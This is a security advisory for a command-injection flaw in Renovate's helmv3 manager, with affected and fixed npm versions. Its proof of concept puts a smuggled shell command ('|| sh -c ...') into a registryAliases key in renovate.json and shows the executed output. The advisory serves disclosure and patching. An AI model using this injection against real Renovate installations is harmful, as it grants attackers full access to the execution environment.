[NPM:GHSA-RQGV-292V-5QGR] Renovate vulnerable to arbitrary command injection via helmv3 manager and registryAliases

Severity Moderate
Affected Packages 1
Fixed Packages 1

Summary

Attackers with commit access to the default branch of a repo using Renovate could manipulate helmv3 registryAliases to execute arbitrary commands.

Details

Since #26848, registryAliases has become mergeable. This means that the helmv3 manager started honoring its value and uses a helm repo add <key> <parameters> command for each defined alias. See source code: https://github.com/renovatebot/renovate/blob/23f3df6216375cb5bcfe027b0faee304f877f891/lib/modules/manager/helmv3/artifacts.ts#L80
The key was not quoted, leading to the ability to use variable references ($FOO) in it and have them printed by Renovate on the pull request, or even running any shell commands.

PoC

Inside a repository where Renovate runs, add a Helm chart with an outdated dependency, for example:

test-chart/Chart.yaml:


apiVersion: v2
name: redis
version: 1.0.0
dependencies:
- name: redis
version: 18.13.10
repository: oci://registry-1.docker.io/bitnamicharts

test-chart/Chart.lock:


dependencies:
- name: redis
repository: oci://registry-1.docker.io/bitnamicharts
version: 18.13.10
digest: sha256:11267bd32ea6c5c120ddebbb9f21e4a3c7700a961aa1a27ddb55df1fb8059a38
generated: "2024-02-16T13:31:20.807026334Z"

Then add the following renovate.json:

json
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:base"
],
"registryAliases": {
"foo/bar || sh -c 'ls /; exit 1' >&2": "registry.example.com/proxy"
}
}

Once Renovate runs on the repository, it will create a pull request, and add a comment titled "Artifact update problem" containing the following text:

```
File name: test-chart/Chart.lock

Command failed: helm repo add foo/bar || sh -c 'ls /; exit 1' >&2 registry.example.com/proxy --force-update
Error: "helm repo add" requires 2 arguments

Usage: helm repo add [NAME] [URL] [flags]
bin
boot
dev
etc
go
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

This shows that the ls command executed successfully, and we can even see its output.

Note that redirecting any output you want to see to stderr (>&2) and making sure the final command fails (exit 1) is required in this case, as Renovate only adds a comment if the command fails, and it contains only stderr (not stdout) output.

Impact

All Renovate versions from 37.158.0 up until 37.199.0 were affected. This vulnerability allows full access to Renovate's execution environment. The level of severity depends on how Renovate is deployed (Docker, Kubernetes, CI pipeline, ...) and whether Renovate is being offered to untrusted users/repositories.

Package Affected Version
pkg:npm/renovate >= 37.158.0, < 37.199.0
Package Fixed Version
pkg:npm/renovate = 37.199.0
ID
NPM:GHSA-RQGV-292V-5QGR
Severity
moderate
URL
https://github.com/advisories/GHSA-rqgv-292v-5qgr
Published
2024-04-23T16:21:09
(4 weeks ago)
Modified
2024-04-23T16:21:10
(4 weeks ago)
Rights
NPM Security Team
Type Package URL Namespace Name / Product Version Distribution / Platform Arch Patch / Fix
Affected pkg:npm/renovate renovate >= 37.158.0 < 37.199.0
Fixed pkg:npm/renovate renovate = 37.199.0
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